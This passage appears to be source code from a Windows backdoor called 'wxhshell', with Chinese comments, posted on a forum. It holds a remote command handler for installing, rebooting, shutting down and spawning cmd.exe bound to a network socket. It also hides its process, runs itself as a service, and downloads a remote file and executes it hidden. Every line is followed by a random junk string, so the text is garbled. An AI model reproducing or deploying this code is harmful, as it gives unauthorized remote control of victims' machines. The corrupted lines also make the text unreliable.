  case '?': { KXf<$\+zO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \vCGU>UY  
    break; $w)~xE5;  
  } h0Ee?=  
  // 安装 *"cD.)]#2  
  case 'i': { b}@(m$W  
    if(Install()) Z19m@vMsIP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ly7!R$X  
    else _y vLu j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ',{7% G9  
    break; y\'P3ihK  
    } ybQP E/9  
  // 卸载 (?3[3 w~  
  case 'r': { }"_j0ax  
    if(Uninstall()) S@xXq{j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCYS\E 7X  
    else Cqx v"NN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R?pRxY  
    break; ghAi{@s$)  
    } brSi<  
  // 显示 wxhshell 所在路径 c #lPc>0xb  
  case 'p': { aXY -><  
    char svExeFile[MAX_PATH]; 0q,pi qjO  
    strcpy(svExeFile,"\n\r"); A\AT0th  
      strcat(svExeFile,ExeFile); {Dr@HP/x=s  
        send(wsh,svExeFile,strlen(svExeFile),0); ?WpenUWk  
    break; = 96P7#%  
    } C4\,z\Q  
  // 重启 hoQ7).>  
  case 'b': { a{'Z5ail  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s-*._;  
    if(Boot(REBOOT)) QA;!caNp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8K{[2O7i)  
    else { e ZLMP  
    closesocket(wsh); &aG*k*  
    ExitThread(0); ~AZWds(,N  
    } qAY%nA>jO  
    break; 5$rSEVg9  
    } xW_yLbE  
  // 关机 /6+NU^  
  case 'd': { DmqSQA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8VQ 24r  
    if(Boot(SHUTDOWN)) (Yb[)m>fQ}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 !#a3=_  
    else { JkQ\)^5v  
    closesocket(wsh); Vj?DA5W`'  
    ExitThread(0); p'94SXO_  
    } $uDqqG(^  
    break; +iO/m  
    } Anm=*;*M`  
  // 获取shell ]; Wx  
  case 's': { I?Aj.{{$G%  
    CmdShell(wsh); d3;qsUh$yv  
    closesocket(wsh); uz3 0_aH  
    ExitThread(0); P\nC?!Q%c  
    break; As&v Ft P  
  } >vbY<HGt  
  // 退出 ^dm!)4W  
  case 'x': { +}xaQc:0|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O) atNE   
    CloseIt(wsh); ]3iH[,KU3  
    break; m Lk(y*  
    } 2&!bfq![  
  // 离开 qJ4T]FVN  
  case 'q': { Z{6kWA3Kk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O$u"/cwe*  
    closesocket(wsh); I@#;nyAj"  
    WSACleanup(); >Z.\J2wM<j  
    exit(1); ZraT3  
    break; q.YfC  
        } 4LH[4Yj?`  
  } Q Fm|-j  
  } <[:o !$  
vmTs9"ujF,  
  // 提示信息 . #lsic8]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3*UR3!Z9 *  
} U?a6D:~G  
  } b75 $?_+  
u+H ; @  
  return; &fa5laJb  
} B~ S6R  
}Ew hj>w  
// shell模块句柄 ^~`?>}MJ  
int CmdShell(SOCKET sock) sZ,Y60s8a  
{ U6E\AvbRn  
STARTUPINFO si; Ian[LbCWB  
ZeroMemory(&si,sizeof(si)); jHXwOJq %  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ",aT WQgN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G;NF5`*4mc  
PROCESS_INFORMATION ProcessInfo; x<Vm5j  
char cmdline[]="cmd"; *Xo]-cKL0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xv{O^Ie+S  
  return 0; b45|vX+j  
} css64WX^0c  
WrPUd{QM  
// 自身启动模式 p'7*6bj1  
int StartFromService(void) tCxF~L@  
{ nJ4pTOc  
typedef struct FR2= las"z  
{ H~ZV *[A`  
  DWORD ExitStatus; RrU BpqA  
  DWORD PebBaseAddress; 1f",}qe;  
  DWORD AffinityMask; _@S`5;4x  
  DWORD BasePriority; WJ<^E"^  
  ULONG UniqueProcessId; @36u8pE  
  ULONG InheritedFromUniqueProcessId; W>-Et7&2  
}   PROCESS_BASIC_INFORMATION; pym!U@$t  
8-<:i  
PROCNTQSIP NtQueryInformationProcess; ctE\ q  
`u>4\sv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g&/T*L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C8FB:JNJV  
rZ8`sIWQt  
  HANDLE             hProcess; @gY)8xMbA  
  PROCESS_BASIC_INFORMATION pbi; lHgs;>U$  
)K &(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;WR,eI..  
  if(NULL == hInst ) return 0; N F)~W#  
YPHS 1E?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Eke5Nb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >EY3/Go>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J!5$,%v  
MEB it  
  if (!NtQueryInformationProcess) return 0; 6{ =\7AY  
D3|I:Xm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M4as  
  if(!hProcess) return 0; )1X#*mCxk  
j?'GZ d"B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vVOh3{e|  
!47n[Zs  
  CloseHandle(hProcess); wI(M^8F_Mf  
x.-+[l[1 !  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gz .|]:1  
if(hProcess==NULL) return 0; yPq'( PV  
XI^QF;,  
HMODULE hMod; 3Z1CWzq(  
char procName[255]; om1eQp0N  
unsigned long cbNeeded; .V,@k7U,V  
}_ 9Cxji  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4EY)!?;  
'inFKy'H  
  CloseHandle(hProcess); % >=!p  
M3.do^ss  
if(strstr(procName,"services")) return 1; // 以服务启动 <Y}R#o1Z  
}}59V&'t  
  return 0; // 注册表启动 {;2PL^i  
} dkz=CY3p%X  
.[_L=_.  
// 主模块 %^jMj2  
int StartWxhshell(LPSTR lpCmdLine) X(NLtO w  
{ uA< n  
  SOCKET wsl; nR*ryv  
BOOL val=TRUE; ~sh`r{0  
  int port=0; PpzP7  
  struct sockaddr_in door; :> 5@cvc  
~A\GT$  
  if(wscfg.ws_autoins) Install(); yU*8|FQbP  
.6Pw|xu`Pw  
port=atoi(lpCmdLine); h'{ C[d  
I`!<9OTBj  
if(port<=0) port=wscfg.ws_port; XuFYYx~ ^3  
rbWP78  
  WSADATA data; lN Yt`xp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X9V*UXTc  
t7aefV&_,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n"c[,k+R`U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'DCTc&J['  
  door.sin_family = AF_INET; , K~}\CR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fbe[@#:  
  door.sin_port = htons(port); \XZ/v*d0  
do>wwgr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~x1$h#Cx'  
closesocket(wsl); Hquc o  
return 1;  "y}--  
} b0Ps5G\ u  
s{ *[]!  
  if(listen(wsl,2) == INVALID_SOCKET) { ?Lk)gO^C  
closesocket(wsl); o6.^*%kM'  
return 1; iP7(tnlW$  
} ?67Y-\}  
  Wxhshell(wsl); m;GCc8  
  WSACleanup(); Yi.N&&o  
Pd_U7&w,5  
return 0; R {SF(g3  
<Z mg#  
} vdc\R?  
m#| 9hMu  
// 以NT服务方式启动 |ATvS2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ia!y!_L\'  
{ ;U+3w~  
DWORD   status = 0; iP ->S\  
  DWORD   specificError = 0xfffffff; nAsh:6${  
m[~y@7AK<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P@V0Mi),  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0ypNUG}   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aC8} d  
  serviceStatus.dwWin32ExitCode     = 0; lZ]ZDb?P  
  serviceStatus.dwServiceSpecificExitCode = 0; KQ% GIz x  
  serviceStatus.dwCheckPoint       = 0; u}macKJmp\  
  serviceStatus.dwWaitHint       = 0; 3M[! N  
*av<E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wd8 l$*F*  
  if (hServiceStatusHandle==0) return; <lPm1/8  
JcsHt;  
status = GetLastError(); /~%&vpF-L  
  if (status!=NO_ERROR) On9A U:\  
{ }HYbS8'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "c%0P"u  
    serviceStatus.dwCheckPoint       = 0; |"8b_Cq{  
    serviceStatus.dwWaitHint       = 0; _)3|f<E_t)  
    serviceStatus.dwWin32ExitCode     = status; 5H<m$K4z  
    serviceStatus.dwServiceSpecificExitCode = specificError; \kL 3.W_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l*Gvf_UH  
    return; )l C)@H}  
  } _^Ubs>d=*  
> PRFWO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3w*R&  
  serviceStatus.dwCheckPoint       = 0; u5`u>.!  
  serviceStatus.dwWaitHint       = 0; 6,8h]?u.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X:"i4i[}{9  
} w e//|fA<  
]vUwG--*  
// 处理NT服务事件,比如:启动、停止 ]nn98y+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A4x]Qh3OO  
{ QOGvC[*`<T  
switch(fdwControl) y&$A+peJ1  
{ UmP/h@8  
case SERVICE_CONTROL_STOP: o q Xg  
  serviceStatus.dwWin32ExitCode = 0; K<3A1'_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GY'%+\*tj  
  serviceStatus.dwCheckPoint   = 0; Ko<:Z)PS  
  serviceStatus.dwWaitHint     = 0; Mq156TL  
  { `KoV_2|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2`K=Hby  
  } _`j7clEz  
  return; AofKw  
case SERVICE_CONTROL_PAUSE: V+Y%v.F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qz1E 2yJ  
  break; S&wMrQ  
case SERVICE_CONTROL_CONTINUE: `g=J%p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i>`%TW:g  
  break; MAR'y8I  
case SERVICE_CONTROL_INTERROGATE: W:2( .?  
  break; b4 6~?*  
}; Tx# Mn~xD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eF$x1|  
} .W%)*&WH\  
"%w u2%i  
// 标准应用程序主函数 d7;um<%zn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }j)e6>K])  
{ jvL[ JI,b  
~TD0z AA&  
// 获取操作系统版本 rglXs  
OsIsNt=GetOsVer(); 'n3uu1C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $7ZX]%<s  
kVMg 1I@  
  // 从命令行安装 O,f?YJ9S  
  if(strpbrk(lpCmdLine,"iI")) Install(); *L^,|   
M5X&}cN6  
  // 下载执行文件 U%QI a TN*  
if(wscfg.ws_downexe) { T.BW H2gRP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )7Wf@@R'F  
  WinExec(wscfg.ws_filenam,SW_HIDE); UB@+c k  
} uo 8YP<q  
V b?oJhR  
if(!OsIsNt) { R&k<AZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 :4/3q|cn  
HideProc(); ea 'D td  
StartWxhshell(lpCmdLine); }&J q}j  
} .M%}X7  
else dR,fXQm  
  if(StartFromService()) .W!i7  
  // 以服务方式启动 m-#2n? z-  
  StartServiceCtrlDispatcher(DispatchTable); %P|/A+Mg"  
else sUQ@7sTj  
  // 普通方式启动 hRhe& ,v  
  StartWxhshell(lpCmdLine); bq*eH (qx  
5U$0F$BBp  
return 0; <>rneHl8  
}
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只看该作者 1 发表于: 2006-10-10
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